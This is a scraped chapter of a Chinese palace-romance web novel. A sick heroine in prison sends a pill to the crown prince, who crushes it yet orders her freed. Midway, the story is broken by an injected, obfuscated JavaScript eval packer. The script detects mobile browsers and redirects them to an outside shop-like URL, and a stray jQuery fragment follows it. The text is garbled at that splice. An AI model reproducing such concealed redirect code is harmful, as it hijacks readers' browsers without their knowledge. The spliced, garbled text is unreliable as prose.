默认冷灰
24号文字
方正启体

第255章 释囚

作者:橙宝平安本书字数:K更新时间:
    天牢里的日子,不知昼夜。


    孟娆蜷缩在角落里的霉烂稻草上,身体控制不住地微微发抖。


    她倔着脾气,强忍着脑袋的眩晕,将这处霉烂的地方弄得干净了些。


    至少蓬松的草堆能给她的身体带来几分暖意,不至于恶化下去。


    等收拾好,孟娆也没了力气,瘫软在蓬起的草堆里。


    连日来的精神高度紧绷,体力透支,加上天牢这恶劣阴冷的环境,终于击垮了她本就虚弱的身体。


    起初只是觉得浑身发冷,后来冷意变成了滚烫,额头烫得吓人,四肢却酸软无力,眼前阵阵发黑。


    喉咙干得像是要冒火,每一次呼吸都带着灼热的气息。


    天牢里缺医少药,更无人会来理会她这个重犯的死活。


    再这样下去,恐怕等不到审判,她就会悄无声息地病死在这暗无天日的牢房里。


    孟娆乘开沉重的眼皮,望着黑漆漆的屋顶,发烫的脑袋想的昏沉。


    可她却不敢停下胡乱的想法,生怕自己忍不住晕了过去。


    撑住,撑住……


    身体里的求生意识不断拉扯着神经,孟娆脸色泛起潮红,嘴唇却苍白干裂。


    意识沦陷间,牢门外传来轻微的响动。


    孟娆朝着声音望去。


    透过铁栏缝隙,看到一个有些面熟的狱卒正放下一个粗陶碗。


    那狱卒年纪不大,面相看着有几分憨厚。


    孟娆记得他,姓张,之前她在太医署时,这小伙子还曾因母亲的顽疾来向她讨过方子,是个孝子。


    小张放下碗,没有立刻离开,他蹲下身,隔着铁栏小声问道:“孟顾问,你还好吗?”


    他声音小心翼翼的,在这冰冷的地牢里,显得格外珍贵。


    发沉的脑袋被唤醒,孟娆用指甲掐着手心,让自己恢复几分清明。


    她挣扎着坐直些,靠在冰冷的墙壁上,声音嘶哑微弱:“小张劳烦你,凑近些……”


    小张犹豫了一下,还是凑近铁栏。


    孟娆从贴身内袋的暗格里摸索出一颗用油纸紧紧包裹的药丸。


    这药是她之前就备下的,用了好几味珍贵药材,有固本培元,提振心脉之效,或许……


    她咬着苍白的下唇,冰凉的指尖将药丸往前推。


    到底是她动的手,就当是补偿了。


    “小张……”她气息微弱,将药丸从铁栏缝隙艰难地递出去,“拜托你,想办法把这个送去东宫,就说如果殿下还未醒,或许此药可试上一试。”


    小张看着孟娆苍白如纸,气若游丝却眼神清亮的模样,又看了看手中那颗小小的药丸,脸上露出挣扎之色。


    私传物品,尤其是给重犯传东西,是重罪。


    但看着昔日对自己有恩的孟顾问这般模样,他终究一咬牙,将药丸揣入怀中,低声道:“孟顾问放心,小的……小的尽量试试。”


    “多谢……”


    孟娆说完这两个字,仿佛用尽了最后一丝力气,眼前一黑,倒了下去。


    她扯了扯嘴角,粗沉的喘气。


    不能晕,恢复些力气,就去吃东西。


    孟娆不断念着,悄无声息的积攒着力气。


    东宫,寝殿。


    浓郁的药味比之前淡了些,顾鹤白靠坐在榻上,浓黑的眉淡然垂着,毫无血色的脸更生泠冽。


    薄薄的锦被覆在身上,矜贵冷然。


    秦安正小心将温好的参汤递到他手中,低声禀报着这几日朝中和宫内的动向,语气恭敬。


    这时,一名内侍悄无声息地进来,在秦安耳边低语了几句,递上一个用普通棉布包裹的小小物事。


    秦安脸色微变,挥手让内侍退下,自己则拿着那东西,迟疑地走到榻前。


    “殿下,天牢那边一个姓张的狱卒,托人辗转送来此物,说是或许对殿下伤势有益,已经让太医院的人验过了,是上好的补气血药材制成的丸药。”


    他说着打开棉布,里面正是那颗褐色药丸。


    顾鹤白的目光落在那颗药丸上,瞳孔几不可查地收缩了一下。


    他昏迷这几日,孟娆被下狱的事,秦安已经战战兢兢地禀报过了。


    她人在天牢,自身难保,却还想着给他送药。


    顾鹤白心底掠过一丝极细微的波澜,说不清是什么滋味。


    是愧疚,是补救,还是又一场精心算计的开端?


    想到她喂药取血时的决绝,想到她那句对不起,方才那一丝涟漪瞬间冻结。


    顾鹤白的心口像是被什么东西狠狠拧了一下,闷痛夹杂着怒意翻涌而上。


    转动着指尖的扳指,他沉下眸。


    “她,怎么样了?”


    他开口,声音沙哑低沉,听不出情绪。


    秦安一愣,随即意识到殿下问的是谁,连忙躬身回道:“回殿下,据那狱卒说,孟顾问在狱中感染风寒,发起高热,情况似乎不太好。”


    顾鹤白捏着药丸的指尖微微收紧,发烧了?天牢那种地方……


    他闭上眼,眼前仿佛浮现出她苍白脆弱,蜷缩在冰冷角落的模样,心口的闷痛更甚。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089173|189324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可随即,那画面又被她冷静下药,取血时的眼神取代。


    心口骤然闷痛,顾鹤白剑眉拧起,带着几分燥意。


    没良心的女人。


    她把他当什么,想要就要,想丢就丢,如今犯了弥天大罪,一颗小小的药丸,就又想一笔勾销?


    顾鹤白低垂的长眸猛然抬起,眼底寒意凛冽,指尖用力,那颗小小的药丸在他掌心被碾得粉碎,褐色粉末从指缝间簌簌落下。


    秦安吓得大气不敢出,深深低下头。


    顾鹤白看着掌心的粉末,淡淡的药香飘向鼻尖,女人的身影再度在脑海中晃动。


    不可控制的,一次又一次的,出现。


    他厌恶这种被她牵动情绪的感觉,厌恶自己即使到了这个时候,竟然还会因为她可能病重而心生波澜。


    可一想到她倒在脏乱的天牢……


    他深吸一口气,压下所有翻腾的情绪,声音恢复了一贯的冰冷淡漠。


    “传孤令,”他顿了顿,每一个字都清晰冰冷,“孟氏谋害储君,证据不足,暂行释放。”


    秦安抬头,眼中满是难以置信:“殿下?这……陛下那边……”


    “父皇那里,孤自会去说。”顾鹤白打断他,语气不容置疑,“去办。”


    “是。”秦安不敢再多言,躬身退下。


    天牢的铁门再次打开时,刺眼的光线让孟娆不适地眯了眯眼。


    她是被两个内侍半扶半架着出来的,高烧未退,浑身虚软,几乎站不稳。


    “孟顾问,殿下有令,你暂时可以回去了。”


    一个内侍语气平板地传达着指令。


    孟娆昏沉的脑子一时没反应过来,回去吗?


    顾鹤白没有立刻处死她,反而放了她,是因为那颗药吗?


    那她还是……真的走对了一步棋呢。


    苦涩和自嘲鼓鼓胀胀的闷在心尖,让她嘴角忍不住掀出一点弧度。


    也是,如今是算计还是真心,早就已经说不清了。


    如今重要的,是她自己才对。


    孟娆独自一人,拖着依旧虚软无力的身子,深一脚浅一脚地往宫外走着。


    冷冬的风刮在脸上,带着凛冽的寒意,吹得她单薄的衣衫猎猎作响,也让她滚烫的额头稍微舒服了一点点。


    她扶着宫墙往外走,淡淡的议论声也顺着墙角飘进她的耳朵。


    “听说了吗?太子殿下马上就要成婚了!”


    “迎娶太子妃可是大喜事,也不知道那日的排场得有多大,说不定我们都能得赏呢!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)